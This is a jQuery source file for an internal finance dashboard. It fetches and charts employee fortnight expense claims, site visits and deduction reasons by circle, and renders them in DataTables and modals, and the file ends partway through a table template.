 var PROGRESS_BAR_OBJ_ARRAY=[];
 var EMPLOYEE_INFO_JSON;
 var TL_INFO_JSON;
 var NEW_EMPLOYEE_INFO_JSON;
 let CURRENT_EDITING_EMPINFO_ARRAYINDEX;
 let CURRENT_MODIFYING_EMPINFO_ARRAYINDEX;
 let CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS;//circleWiseFortNightClaimsDetails
 let EMPLOYEEINFO_DATA_TABLE;
 let MODIFY_TYPE_FORM_SUBMIT="modify";
 let INSERT_TYPE_FORM_SUBMIT="insert";
 let ADVANCE_AND_ADJUSTMENTS_AMOUNT_TRANSACTION_DETAILS_RESPONSE_ARRAY;	

 $("#fromRequestCircleData").submit(function(e){
    e.preventDefault();
    // append placeholder animation700
    let PlaceholderClassObj=new Placeholder();
        PlaceholderClassObj.appendPlaceHolder();
    
    let form=$(this);
    let formSubmitBtn=$("#fromRequestCircleData button.formSubmit");
    formSubmitBtn.html("<i class='fas fa-spinner fa-spin'></i>");
    let postJsonObj=JSON.stringify(convertValuesToObject(form.serializeArray()));
    // console.log(postJsonObj);
    if(!checkWheatherLogoutOrNot_InternetConnection()){ // in checkInternet_connection.js
        alertNoInternet_connection();
        $(".placeholder-glow").removeClass('placeholder-glow');
        formSubmitBtn.html("<i class='fas fa-redo'></i>");
    }else{
        let responseData=postDataHttpRequest('DashBoard/php/tab_Dashboard_Finance.php',postJsonObj);
            responseData.then((result)=>{
                if(result.message=="success"){
                    // apend actual content remove  animation loader
                    let loadContentClassObj=new LoadContent();
                    loadContentClassObj.appendLoadedContent();
                    
                    formSubmitBtn.html("<i class='fas fa-search'></i>");
                    let response=result.responseData;
                     console.log(response);
                    calculateForAllCircleJson_updateJson(response);
                    appendNoOfFortNightClaimsCountDetails(response.fortNightClaimsStatusCount,response.dayClaimsCount);
                    appendNoOfSiteVisitsPerAnnum(response.siteVisitsCount);
                    appendOverAllFortNightAmountDetails(response.fortNightClaimsAmount);
                    appendNoOfCircleWiseSiteVisitDetails(response.circleWiseSiteVisitCount);
                    appendProjectWiseAuditsDetails(response.circleWiseProjectsCount);
                    appendALLFortNightClaimDetailsToTable(response.allfortNightClaims);
                    appendAllEmployeeInfoTabContent(response.allEmployeesInfo);
                    appendNewEmployeeInfoTabContent(response.newEmployeesInfo);
                    TL_INFO_JSON=response.TLInfo;
                    getMainCircleDropDown();
                } 
            })
            .catch((error)=>{
                formSubmitBtn.html("<i class='fas fa-redo'></i>");
                $(".placeholder-glow").removeClass('placeholder-glow');
                console.log(error);
            })
            .finally(()=>{
            // console.log("response ended");
            });
        }
    });
    
  //-------------------------------  calculateForAllCircleJson_updateJson--------------------
        
    function calculateForAllCircleJson_updateJson(responseData){
        getTotalCirclesCombinedData(responseData.fortNightClaimsStatusCount,ALL_CIRCLES, true);
        getTotalCirclesCombinedData(responseData.dayClaimsCount,ALL_CIRCLES, true);
        getTotalCirclesCombinedData(responseData.siteVisitsCount,ALL_CIRCLES, true);
        getTotalCirclesCombinedData(responseData.fortNightClaimsAmount,ALL_CIRCLES, true);
        getTotalCirclesCombinedData(responseData.circleWiseProjectsCount,TOTAL_RESULTS, false);
        sortAndInsertAllCircleDataInOneArray(responseData.allfortNightClaims);
    }
    
    function getTotalCirclesCombinedData(arrayObj,keyValue,addNone){
        //get totalValues
        let ArrayOfAllCount={};
        let ArrayOfEmpty={};
        $.each(arrayObj,function(key, value ) {
            $.each(value, function(subKey, subValue){
                if(!ArrayOfAllCount.hasOwnProperty(subKey)){
                 ArrayOfAllCount[subKey]=0;                 // initially ArrayOfAllCount[key] not assigned
                }
                ArrayOfAllCount[subKey]+=subValue;
                ArrayOfEmpty[subKey]=0;
            });
        });
        arrayObj[keyValue]=ArrayOfAllCount;
        addNone ? arrayObj["None"]=ArrayOfEmpty: "";
    }
    
    function sortAndInsertAllCircleDataInOneArray(arrayObj){
        // sort json as per requirement empName,and fortNght
        let sortClassObj=new sortJson();
        sortClassObj.sortFNClaimsOnEmpIdFortnightBases(arrayObj);
        
        let ArrayOfAllCircleEmp=[];
        $.each(arrayObj, function(key, value){
            ArrayOfAllCircleEmp=ArrayOfAllCircleEmp.concat(value);
        });
        arrayObj[ALL_CIRCLES]=ArrayOfAllCircleEmp;
    }
    
// -------------------------------end---------------------------------------
    
    //-------------------------------------------Box dashbord related code-------------------------------------------------
    function appendNoOfFortNightClaimsCountDetails(fortNightClaimsStatusCount, dayClaimsStatusCount){
        let yearValue=$("#fromRequestCircleData select.year").val();
        $(".fortNightClaimsCountDiv .subHeading .yearValue").html(yearValue);
        $(".section.siteVisitsPerAnnum .yearValue").html(yearValue);
        let statusCountCircleOptionTag=getSelectTagOptionUi(fortNightClaimsStatusCount);
        $(".fortNightClaimsCountDiv .headerDiv select").html(statusCountCircleOptionTag);
       $( ".fortNightClaimsCountDiv .headerDiv select" ).unbind();//or unbind('change') on second time load unbind onchange select tag , else duplicate object will created.
        $(".fortNightClaimsCountDiv .headerDiv select").change(function(){
            let thisCircleName=$(this).val();
            let circleWiseClaimStatus=fortNightClaimsStatusCount[thisCircleName];
            //  alert();
            let claimsArray=[];
            //  console.log( fortNightClaimsStatusCount);
            claimsArray["pendingAtEmpCnt"]=circleWiseClaimStatus.pending_at_EMP ? circleWiseClaimStatus.pending_at_EMP:0;
            claimsArray["pendingAtTLCnt"]=circleWiseClaimStatus.pending_at_TL ? circleWiseClaimStatus.pending_at_TL:0;
            claimsArray["pendingAtFinanceCnt"]=circleWiseClaimStatus.pending_at_finance?circleWiseClaimStatus.pending_at_finance:0;
            claimsArray["financeApprovedCnt"]=circleWiseClaimStatus.finance_approved?circleWiseClaimStatus.finance_approved:0;
            claimsArray["tlRejectCnt"]=circleWiseClaimStatus.TL_reject ? circleWiseClaimStatus.TL_reject:0;
            claimsArray["finRejectCnt"]=circleWiseClaimStatus.finance_reject?circleWiseClaimStatus.finance_reject:0;
            claimsArray["tlPerRejectCnt"]=circleWiseClaimStatus.tl_perminent_reject?circleWiseClaimStatus.tl_perminent_reject:0;
            claimsArray["financePerRejectCnt"]=circleWiseClaimStatus.finance_perminent_reject?circleWiseClaimStatus.finance_perminent_reject:0;
            claimsArray["perRejectCnt"]=claimsArray["tlPerRejectCnt"]+claimsArray["financePerRejectCnt"];
            claimsArray["totalRejectCounts"]=claimsArray["tlRejectCnt"]+claimsArray["finRejectCnt"]+claimsArray["perRejectCnt"];
            claimsArray["paidCnt"]=circleWiseClaimStatus.paid?circleWiseClaimStatus.paid:0;
            
           
            $("#count_engNotSubmtClaims").html(claimsArray.pendingAtEmpCnt);
            $("#count_engSubmtClaims").html(claimsArray.pendingAtTLCnt);
            $("#count_TLApprovedClaims").html(claimsArray.pendingAtFinanceCnt);
            $("#count_FinanceApprovedClaims").html(claimsArray.financeApprovedCnt);
            $("#count_rejectedClaims").html(claimsArray.totalRejectCounts);
            $("#count_FinancePaidClaims").html(claimsArray.paidCnt);
            
            appendNoOfDayClaimsCountDetails(dayClaimsStatusCount,thisCircleName);
            progressBarPercentage(claimsArray);
            
        });
    }
    
     function progressBarPercentage(countOfFortnightClaims){
      
       let totalFNClaims=countOfFortnightClaims.pendingAtEmpCnt+
                           countOfFortnightClaims.pendingAtTLCnt+
                           countOfFortnightClaims.pendingAtFinanceCnt+
                           countOfFortnightClaims.financeApprovedCnt+
                           countOfFortnightClaims.totalRejectCounts+
                           countOfFortnightClaims.paidCnt;

        
        let pendingClaimsEmpPer=getPercentage(countOfFortnightClaims.pendingAtEmpCnt,totalFNClaims).toFixed(2);
        let pendingClaimsTLPer=getPercentage(countOfFortnightClaims.pendingAtTLCnt,totalFNClaims).toFixed(2);
        let pendingClaimsFinancePer=getPercentage(countOfFortnightClaims.pendingAtFinanceCnt,totalFNClaims).toFixed(2);
        let approvedClaimsFinancePer=getPercentage(countOfFortnightClaims.financeApprovedCnt,totalFNClaims).toFixed(2);
        let rejectedClaimsTotPer=getPercentage(countOfFortnightClaims.totalRejectCounts,totalFNClaims).toFixed(2);
        let paidClaimsFinancePer=getPercentage(countOfFortnightClaims.paidCnt,totalFNClaims).toFixed(2);
        
        $(".card.engNotSubmtClaims .inner").html( Math.floor(pendingClaimsEmpPer)+"%").attr("data-original-title",pendingClaimsEmpPer+"%");
        $(".card.engSubmtClaims .inner").html( Math.floor(pendingClaimsTLPer)+"%").attr("data-original-title",pendingClaimsTLPer+"%");
        $(".card.TLApprovedClaims .inner").html( Math.floor(pendingClaimsFinancePer)+"%").attr("data-original-title",pendingClaimsFinancePer+"%");
        $(".card.FinanceApprovedClaims .inner").html( Math.floor(approvedClaimsFinancePer)+"%").attr("data-original-title",approvedClaimsFinancePer+"%");
        $(".card.FinancePaidClaims .inner").html( Math.floor(paidClaimsFinancePer)+"%").attr("data-original-title",paidClaimsFinancePer+"%");
        $(".card.rejectedClaims .inner").html( Math.floor(rejectedClaimsTotPer)+"%").attr("data-original-title","Percentage:<b>"+rejectedClaimsTotPer+"%</b> <br>TL Reject:<b>"+countOfFortnightClaims.tlRejectCnt+"</b><br>Finance Reject:<b>"+countOfFortnightClaims.finRejectCnt+"</b><br>Permanent Reject:<b>"+countOfFortnightClaims.perRejectCnt+"</b>");
        
        this.progressBarCircle(pendingClaimsEmpPer,".card.engNotSubmtClaims .progress",COLOR_CLAIM_IN_EMP_BUCKET,0);
        this.progressBarCircle(pendingClaimsTLPer,".card.engSubmtClaims .progress",COLOR_CLAIM_PENDING,1);
        this.progressBarCircle(pendingClaimsFinancePer,".card.TLApprovedClaims .progress",COLOR_CLAIM_TL_APPROVED,2);
        this.progressBarCircle(approvedClaimsFinancePer,".card.FinanceApprovedClaims .progress",COLOR_CLAIM_FINANCE_APPROVED,3);
        this.progressBarCircle(rejectedClaimsTotPer,".card.rejectedClaims .progress",COLOR_CLAIM_REJECTED,4);
        this.progressBarCircle(paidClaimsFinancePer,".card.FinancePaidClaims .progress",COLOR_CLAIM_PAID,5);
        
        
    }
    function getPercentage(value,totalValue){
        
        let percentage=totalValue!=0 ? (value/totalValue)*100 :0;
        return percentage;
    }
    function progressBarCircle(percentage, className, colorValue, index){
        let checkAlreadyExist=$(className).has("svg").length ? false : true;
        if(checkAlreadyExist){       
            new ProgressBar.Circle(className, {
                              color: '#d8d8d8',
                              strokeWidth: 15,
                              duration: 2000, // milliseconds
                              easing: 'easeInOut'
                            }).animate(100/100); // percent
                            
              let progressBar= new ProgressBar.Circle(className, {
                              color: colorValue,
                              strokeWidth: 15,
                              duration: 2000, // milliseconds
                              easing: 'easeInOut'
                    
                            }); // percent
                            
             PROGRESS_BAR_OBJ_ARRAY[className]=progressBar;
              progressBar.animate(percentage/100);
         
        }else{
            PROGRESS_BAR_OBJ_ARRAY[className].animate(percentage/100);
        }
    }
    
    
    function appendNoOfDayClaimsCountDetails(dayClaimResponse,thisCircleName){
        //console.log(dayClaimResponse);
        let circleWiseClaimStatus=dayClaimResponse[thisCircleName];
        let claimsArray=[];
         claimsArray["pendingAtEmpCnt"]=circleWiseClaimStatus.pending_at_EMP ? circleWiseClaimStatus.pending_at_EMP:0;
            claimsArray["pendingAtTLCnt"]=circleWiseClaimStatus.pending_at_TL ? circleWiseClaimStatus.pending_at_TL:0;
            claimsArray["pendingAtFinanceCnt"]=circleWiseClaimStatus.pending_at_finance?circleWiseClaimStatus.pending_at_finance:0;
            claimsArray["financeApprovedCnt"]=circleWiseClaimStatus.finance_approved?circleWiseClaimStatus.finance_approved:0;
            claimsArray["tlRejectCnt"]=circleWiseClaimStatus.TL_reject ? circleWiseClaimStatus.TL_reject:0;
            claimsArray["finRejectCnt"]=circleWiseClaimStatus.finance_reject?circleWiseClaimStatus.finance_reject:0;
            claimsArray["tlPerRejectCnt"]=circleWiseClaimStatus.tl_perminent_reject?circleWiseClaimStatus.tl_perminent_reject:0;
            claimsArray["financePerRejectCnt"]=circleWiseClaimStatus.finance_perminent_reject?circleWiseClaimStatus.finance_perminent_reject:0;
            claimsArray["perRejectCnt"]=claimsArray["tlPerRejectCnt"]+claimsArray["financePerRejectCnt"];
            claimsArray["totalRejectCounts"]=claimsArray["tlRejectCnt"]+claimsArray["finRejectCnt"]+claimsArray["perRejectCnt"];
            claimsArray["paidCnt"]=circleWiseClaimStatus.paid?circleWiseClaimStatus.paid:0;
            
            $(".engNotSubmtClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.pendingAtEmpCnt);
            $(".engSubmtClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.pendingAtTLCnt);
            $(".TLApprovedClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.pendingAtFinanceCnt);
            $(".FinanceApprovedClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.financeApprovedCnt);
            $(".rejectedClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.totalRejectCounts);
            $(".FinancePaidClaims .dayClaims_ptag span.dayClaimValue").html(claimsArray.paidCnt);
        
    }
    
    
    //------------------------------end---------------------------
    
    //----------------------------------------------------------------------lineChart----------------------------------------------------------

    function appendNoOfSiteVisitsPerAnnum(siteVisitsForLineChartArray){
        // console.log(siteVisitsForLineChartArray);
         let statusCountCircleOptionTag=getSelectTagOptionUi(siteVisitsForLineChartArray);
        $(".multiSectionDev .siteVisitsPerAnnum select").html(statusCountCircleOptionTag);
        $(".multiSectionDev .siteVisitsPerAnnum select").unbind();
        $(".multiSectionDev .siteVisitsPerAnnum select").change(function(){
            let thisCircleName=$(this).val();
            let circleWiseSiteVisitsArray=siteVisitsForLineChartArray[thisCircleName];
            
            let keyArray=[];
            let valueArray=[];
            $.each(circleWiseSiteVisitsArray,function(key, value){
                keyArray.push(key);
            });
            sortByMonth(keyArray);
            $.each(keyArray,function(index, value){
                valueArray.push(circleWiseSiteVisitsArray[value]);
            });
            apexChartNoOfSiteVisitsOption(keyArray, valueArray);
        });
        
        function apexChartNoOfSiteVisitsOption(keyArray, valueArray){
            $("#siteVisitsPerAnnum_mainDiv").empty();
             var options = {
                            colors: ['#3b3b3b'],
                            series: [{
                                name: "SiteVisits",
                                data: valueArray
                                }],
                                chart: {
                                    height: 350,
                                    type: 'line',
                                    zoom: {
                                        enabled: false
                                    }
                                },
                            dataLabels: {
                                enabled: true
                            },
                            stroke: {
                                curve: 'straight'
                            },
                            title: {
                                text: 'Month wise Site Visits',
                                align: 'left'
                            },
                            grid: {
                                row: {
                                    colors: ['#f3f3f3', 'transparent'], // takes an array which will be repeated on columns
                                    opacity: 0.5
                                },
                            },
                            xaxis: {
                               categories: keyArray,
                            }
            };
    
            var chart = new ApexCharts(document.querySelector("#siteVisitsPerAnnum_mainDiv"), options);
            chart.render();
            
            
        }
    }    
//----------------------------------end------------------------------
//---------------------------------------------------------------------------Pie-Chart(fortNightAmount)---------------------------------------------
    function appendOverAllFortNightAmountDetails(pieChartfortNightClaimsAmountArray){
        //console.log(pieChartfortNightClaimsAmountArray);
        let statusCountCircleOptionTag=getSelectTagOptionUi(pieChartfortNightClaimsAmountArray);
        $(".multiSectionDev .overAllFortNightAmounts select").html(statusCountCircleOptionTag);
        $(".multiSectionDev .overAllFortNightAmounts select").unbind();
        $(".multiSectionDev .overAllFortNightAmounts select").change(function(){
            let thisCircleName=$(this).val();
            let circleWiseFortNightClaimsAmount=pieChartfortNightClaimsAmountArray[thisCircleName];
            let details=Object.entries(circleWiseFortNightClaimsAmount);
            if(circleWiseFortNightClaimsAmount){
                details.unshift(['Task','fortNight amounts']);
                google.charts.load('current', {'packages':['corechart']});
                google.charts.setOnLoadCallback(function() {
                    var data = google.visualization.arrayToDataTable(details);                              // Optional; add a title and set the width and height of the chart
                    var options = {
                                    'legend': {'position': 'none'},
                                    'colors':['#ffb547','#7783db','#c363ff','#7bc67e','#f06191','#64b6f7'],
                                    'pieSliceBorderColor':'transparent',
                                    'pieSliceText':'none',
                                    'tooltip':{'text':'value'}
                    };
                    var chart = new google.visualization.PieChart(document.getElementById('fortNgtAmtDetailsPiechart_mainDiv'));
                    chart.draw(data, options);
                });
                let EmpClaimedAmount=circleWiseFortNightClaimsAmount.EmpClaimedAmount ? circleWiseFortNightClaimsAmount.EmpClaimedAmount:0 ;
                let TotalTLApprovedAmount= circleWiseFortNightClaimsAmount.TotalTLApprovedAmount ?circleWiseFortNightClaimsAmount.TotalTLApprovedAmount:0;
                let TotalFinanceApprovedAmount=circleWiseFortNightClaimsAmount.TotalFinanceApprovedAmount ?circleWiseFortNightClaimsAmount.TotalFinanceApprovedAmount:0;
                let PaidAmount=circleWiseFortNightClaimsAmount.PaidAmount ? circleWiseFortNightClaimsAmount.PaidAmount:0;
                
                $("#fnEnggClaimdAmount").html(convertToRupeesFromate(EmpClaimedAmount));
                $("#fnTLClaimdAmount").html(convertToRupeesFromate(TotalTLApprovedAmount));
                $("#fnFinanceClaimdAmount").html(convertToRupeesFromate(TotalFinanceApprovedAmount));
                $("#fnPaidAmount").html(convertToRupeesFromate(PaidAmount));
            }

         });
    }
//----------------------------------end---------------------------------
// -------------------------------------------------------------------------------columnChart-----------------------------------
    function appendNoOfCircleWiseSiteVisitDetails(siteVisitOfCircleDetails){
       if(Object.keys(siteVisitOfCircleDetails).length>0){
            let mainArray=[];
        $.each(siteVisitOfCircleDetails, function(key, value){
            let temp=[];
            $.each(value, function(subKey, subValue){
                temp.push(subValue);
            });
            mainArray.push(temp);
        });
        sortArrayCircleInAlphabetical(mainArray);
        mainArray.unshift(['Circle','NoOfSiteVisits','RegularVisits','Revisits']);
        google.charts.load('current', {'packages':['corechart','bar']});
         //google.charts.load('current', {'packages':['bar']});
        google.charts.setOnLoadCallback(function() {
            var data = google.visualization.arrayToDataTable(mainArray);                              // Optional; add a title and set the width and height of the chart
            var options = {
                chart: {
                    subtitle: 'NoOfSiteVisits, RegularVisits, and Revisits:2021',
                },
                colors:['#7783db','#ffb547','#db4437','#7bc67e','#f06191','#64b6f7'],
                height:400,
                bar: {groupWidth: "75%"},
                theme:'material'
            };
            var chart = new google.visualization.ColumnChart(document.getElementById('circleWiseSiteVisitsDetailsLinechart_mainDiv'));
                chart.draw(data, options);
        //   var chart = new google.charts.Bar(document.getElementById('circleWiseSiteVisitsDetailsLinechart_mainDiv'));
        //                 chart.draw(data, google.charts.Bar.convertOptions(options));
        });
       }else{
           $("#circleWiseSiteVisitsDetailsLinechart_mainDiv").html('<p class="m-auto">No Data</p>');
       }
    }

//-------------------------end--------------------------------------

//------------------------------tableData(site-projects details)----------------------------------------
    function appendProjectWiseAuditsDetails(projectWiseAudits){
        //console.log(projectWiseAudits);
        let obj= new ProjectDetailsUI();
        let tableUI=obj.getTableUI(projectWiseAudits);
        $("#circleWiseSiteProjectDetails_mainDiv").html(tableUI);
        $("#circleWiseSiteProjectDetails_mainDiv table").DataTable({
                                                    dom: 'lBfrtip',
                                                    destroy : true,
                                                    buttons: [
                                                                'copy', {
                                                                            extend:'excelHtml5',
                                                                            title:'Sitevisits Projects'
                                                                        }, 'print'        // 'copy', 'csv', 'excel', 'pdf', 'print'
                                                             ],
                                                             
                                                    aLengthMenu: [[25, 30, -1], [25, 30, "All"]],
                                                    pageLength: 25,
        });
    }
//-------------------------end-----------------------------------------------------------

//----------------------------------------------tableData(All FortNightClaims)----------------------------------------
    function appendALLFortNightClaimDetailsToTable(allFortNightClaimsDetails){
        //console.log(allFortNightClaimsDetails);
        let statusCountCircleOptionTag=getSelectTagOptionUi(allFortNightClaimsDetails);
        $(".claimDetailsOfIndividuals select.subCircleDropDown").html(statusCountCircleOptionTag);
        $(".claimDetailsOfIndividuals select.subCircleDropDown").unbind();
        
        $(".claimDetailsOfIndividuals select.subCircleDropDown").change(function(){
            let thisCircleName=$(this).val();
            CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS=allFortNightClaimsDetails[thisCircleName];
            //  console.log(CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS);
            
            if ($.fn.DataTable.isDataTable( '#claimDetailsTable' ) ) {
                $('#claimDetailsTable').DataTable().clear().destroy();
            }
 
            let tableUI='';
            $.each(CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS, function(index, object){
                tableUI+=`<tr>
                                <td>${index+1}</td>
                                <td>${object.EMP_ID}</td>
                                <td>${object.NAME}</td>
                                <td style="width:10%">${object.FORTNIGHT}</td>
                                <td>${object.SUBMITION_STATUS}</td>
                                <td>${object.EMP_CIRCLE}</td>
                                <td>${object.NO_OF_SITE_VISITS}</td>
                                <td>${object.WORKINGDAYS}</td>
                                <td>${object.TL_NAME}</td>
                                <td>${object.TL_ID}</td>
                                <td>${object.ENG_FN_OTHER_BILLS}</td>
                                <td>${object.ENG_FN_HOTEL_BILLS}</td>
                                <td>${object.EMP_FN_FINAL_AMOUNT}</td>
                                <td>${object.TL_FN_OTHER_BILLS}</td>
                                <td>${object.TL_FN_HOTEL_BILLS}</td>
                                <td>${object.TL_FN_FINAL_AMOUNT}</td>
                                <td>${object.TL_DEDUCT_AMOUNT}</td>
                                <td>${object.FINANCE_FN_OTHER_BILLS}</td>
                                <td>${object.FINANCE_FN_HOTEL_BILLS}</td>
                                <td>${object.FINANCE_DEDUCT_AMOUNT}</td>
                                <td>${object.FN_TOTAL_FTA}</td>
                                <td>${((object.TOTAL_ADVANCE_GIVEN)!=0 || (object.FTA_ADDITIONAL_ADJUSTMENT)!=0) ? `<button class="btn btn-theme-type1 getAdvanceAmountReleasedStmt" data-toggle="modal" data-target="#commonModalPopup" data-response-json-index="${index}" style="padding: 0px 8px;">View</button>`:`--`}</td>
                                <td>${object.FINANCE_FN_FINAL_AMOUNT}</td>
                                <td>${object.TOTAL_ADVANCE_GIVEN}</td>
                                <td><span ${(object.PREVIOUS_FN_ADJUSTMENT < 0) ? 'class="text-success font-weight-bold"' : ''}>${object.PREVIOUS_FN_ADJUSTMENT}</span></td>
                                ${getNeedToAdjustValue(object.FINANCE_FN_FINAL_AMOUNT, object.TOTAL_ADVANCE_GIVEN, object.PREVIOUS_FN_ADJUSTMENT)}
                                <td>${object.FTA_ADDITIONAL_ADJUSTMENT}</td>
                                <td><span ${checkForNegativeValue(object.FINAL_PAYABLE_VALUE)}>${object.FINAL_PAYABLE_VALUE}</span></td>
                                <td class="text-center position-relative">${getReasonButton(object.REASONS_COUNT,object.TL_DEDUCT_AMOUNT,object.FINANCE_DEDUCT_AMOUNT,index)}</td>
                          </tr>`;
            });
            $("#claimDetailsTableBody").html(tableUI);
            
            let claimDataTable=$("#claimDetailsTable").DataTable({  
                                                dom: 'lBfrtip',
                                                destroy : true,
                                                buttons: [
                                                            'copy', {extend:'excelHtml5',title:`${thisCircleName} Circle Employee FortNight`}, 'print'        // 'copy', 'csv', 'excel', 'pdf', 'print'
                                                         ],
                                                aLengthMenu: [[10, 50, 100, 500, -1], [10, 50, 100, 500, "All"]],
                                                pageLength: 10,
                                                // scrollX: true
                                                });
                                                
            
            // if circle as no data
            if(!CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS){
                claimDataTable.clear().draw();  
            }
                                                
         });
         
         $("#claimDetailsTable").on('click','tr td button.getDeductedReasonsClaims', function(){
             let jsonIndex=$(this).attr('data-response-json-index');
            getFortNightDeductedClaims_Request(jsonIndex);
            removeUnwantedCode();
         });
         
         $("#claimDetailsTable").on('click','tr td button.getAdvanceAmountReleasedStmt', function(){
             let jsonIndex=$(this).attr('data-response-json-index');
             getAdvance_and_AdjustmentAmountReleasedStatement_Request(jsonIndex);
             removeUnwantedCode();
         });
         
         
      }
      $("#ReasonModalPopup").on('click','.retry_getDeductedReasonsClaims',function(){
            let jsonIndex=$(this).attr('data-response-json-index');
            getFortNightDeductedClaims_Request(jsonIndex);;
      });
        $("#commonModalPopup ").on('click','.retry_getAdvanceAndAdjustmentAmtStatement',function(){
            let jsonIndex=$(this).attr('data-response-json-index');
            getAdvance_and_AdjustmentAmountReleasedStatement_Request(jsonIndex);
      });
      
      function getNeedToAdjustValue(financeApprovedFinalAmount, totalAdvanceGiven, previousAdjustmentAmount){
          let workDoneAmount=Number(financeApprovedFinalAmount);
          let amountAlreadyGiven=Number(totalAdvanceGiven)-Number(previousAdjustmentAmount);
          let needToAdjust=workDoneAmount-amountAlreadyGiven;
          return `<td ${(needToAdjust < 0) ? 'class="text-success font-weight-bold"' : ''}>${needToAdjust}</td>`;
      }
      function checkForNegativeValue(value){
          let className_and_Tooltip='';
          if(value<0){
             className_and_Tooltip=`class="text-success font-weight-bold pe-auto" data-toggle="Abbrevation_tooltip" title="Remaining Advance At Employee"`; 
          }
          return className_and_Tooltip;
      }
      function getReasonButton(reasonsCount, tlDedctAmt, fincDedctAmt, index){
          let reasonBtnUI;
          if(reasonsCount==0 && tlDedctAmt==0 && fincDedctAmt==0){
            reasonBtnUI=`--`;
          }else{
            reasonBtnUI=`<button class=" btn btn-theme-type1 getDeductedReasonsClaims" data-toggle="modal" data-target="#ReasonModalPopup" data-response-json-index="${index}" style="padding: 0px 8px;">Reasons</button>
                         <div><sup class="fnReasonBtnNotificationNo" style="right: 0; top: 0; font-size: 9px; padding: 6px 5px;">${reasonsCount}</sup></div>`;  
          }
          return reasonBtnUI;
      }
      function getFortNightDeductedClaims_Request(jsonIndex) {
            let retryBtn=$("#ReasonModalPopup .modal-footer .retry_getDeductedReasonsClaims");
            $("#ReasonModalPopup .modal-body").html('<h3 class="text-center"><i class="fas fa-spinner fa-spin"></i></h3>');
             //console.log("CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS",CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS,"jsonIndex",jsonIndex);
            if(CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS){
                let jsonArray=CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS[jsonIndex];
                let obj={
                    empId : jsonArray["EMP_ID"],
                    fromDate : jsonArray["FROM_DATE"],
                    toDate : jsonArray["TO_DATE"]
                 }
                 let postJsonObj= JSON.stringify(obj);
                //   console.log(postJsonObj);
                 if(!checkWheatherLogoutOrNot_InternetConnection()){// in checkInternet_connection.js
                     alertNoInternet_connection();
                     //retry
                     $("#ReasonModalPopup .modal-body").html('<h3 class="text-center"><i class="fas fa-redo"></i></h3>');
                     retryBtn.attr("data-response-json-index",jsonIndex);
                     retryBtn.show();
                 }else{
                     let responseData=postDataHttpRequest('DashBoard/php/getDeductedReasonsClaims.php', postJsonObj);
                         responseData.then((result)=>{
                            //  console.log(result);
                             if(result.message=="SUCCESS"){
                                 retryBtn.hide();
                                appendDeductedReasonClaimsDetails(result.responseDataArray, jsonArray["TL_DEDUCT_AMOUNT"],jsonArray["FINANCE_DEDUCT_AMOUNT"]);
                                $("#ReasonModalPopup .empName").html(": "+jsonArray["NAME"]);
                                $("#ReasonModalPopup .empId").html(": "+jsonArray["EMP_ID"]);
                                $("#ReasonModalPopup .fortNight").html(": "+jsonArray["FORTNIGHT"]);
                             }else{
                                 $("#ReasonModalPopup .modal-body").html(`<p class="text-danger text-center">Internal erro 500</p>`)
                             }
                         })
                         .catch((error)=>{
                             $("#ReasonModalPopup .modal-body").html('<h3 class="text-center"><i class="fas fa-redo"></i></h3>');
                                 retryBtn.attr("data-response-json-index",jsonIndex);
                                 retryBtn.show();
                         })
                         .finally(()=>{
                             
                         });
                         
                 }
            }else{
                alert("CIRCLE_WISE_FORTNIGHT_CLAIM_DETAILS array have no data");
            }
        }

      
        function appendDeductedReasonClaimsDetails(responseJson,fortNtTLDedcutAmnt,fortNtFncnDedcutAmnt){
            // console.log(responseJson);
            let tableBody='';
            let totalEngFinalAmount=totalTLFinalAmount=totalFncnFinalAmount=totalTLDeductAmount=totalFncnDeductAmount=totalDeductAmount=0;
            $.each(responseJson, function(index, object){
                totalEngFinalAmount+=object.engFinalAmount;
                totalTLFinalAmount+=object.TLFinalAmount;
                totalFncnFinalAmount+=object.fncnFinalAmount;
                totalTLDeductAmount+=object.TLDeductAmount;
                totalFncnDeductAmount+=object.fncnDeductAmount;
                totalDeductAmount+=object.totDeductAmount;
                
                tableBody+=`<tr>
                                <td>${index+1}</td>
                                <td>${object.empId}</td>
                                <td>${object.siteVisitDate}</td>
                                <td>${getClaimStatusIcon((object.claimStatus).toString())}</td>
                                <td>${object.engFinalAmount}</td>
                                <td>${object.TLFinalAmount}</td>
                                <td>${object.fncnFinalAmount}</td>
                                <td>${object.TLDeductAmount}</td>
                                <td>${object.fncnDeductAmount}</td>
                                <td class="p-1"><textarea class="form-control" readonly rows="1">${object.TLDeductReason}</textarea></td>
                                <td class="p-1"><textarea class="form-control" readonly rows="1">${object.fncnDeductReason}</textarea></td>
                                <td class="p-1"><textarea class="form-control" readonly rows="1">${object.rejectReason}</textarea></td>
                                <td>${object.totDeductAmount}</td>
                                </tr>`;
            });
            tableBody+=`<tr style="background-color: rgba(0,0,0,.075)">
                            <th>Total</th>
                            <th colspan="3"></th>
                            <th>${totalEngFinalAmount}</th>
                            <th>${totalTLFinalAmount}</th>
                            <th>${totalFncnFinalAmount}</th>
                            <th ${compareDeductAmount(fortNtTLDedcutAmnt,totalTLDeductAmount)}>${totalTLDeductAmount}</th>
                            <th ${compareDeductAmount(fortNtFncnDedcutAmnt,totalFncnDeductAmount)}>${totalFncnDeductAmount}</th>
                            <th colspan="3"></th>
                            <th>${totalDeductAmount}</th>
                        </tr>`;
            let reasonClaimsTableUI=`<table id="decutedAmountClaimDetailsTable" class="table table-hover w-100 border text-center">
                                        <thead>
                                            <tr>
                                                <th>S.No</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="ENGINEER EMP ID">EMPID</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="SITE VISIT DATE">SVD</th>
                                                 <th data-toggle="Abbrevation_tooltip" title="CLAIM STATUS">STATUS</th>
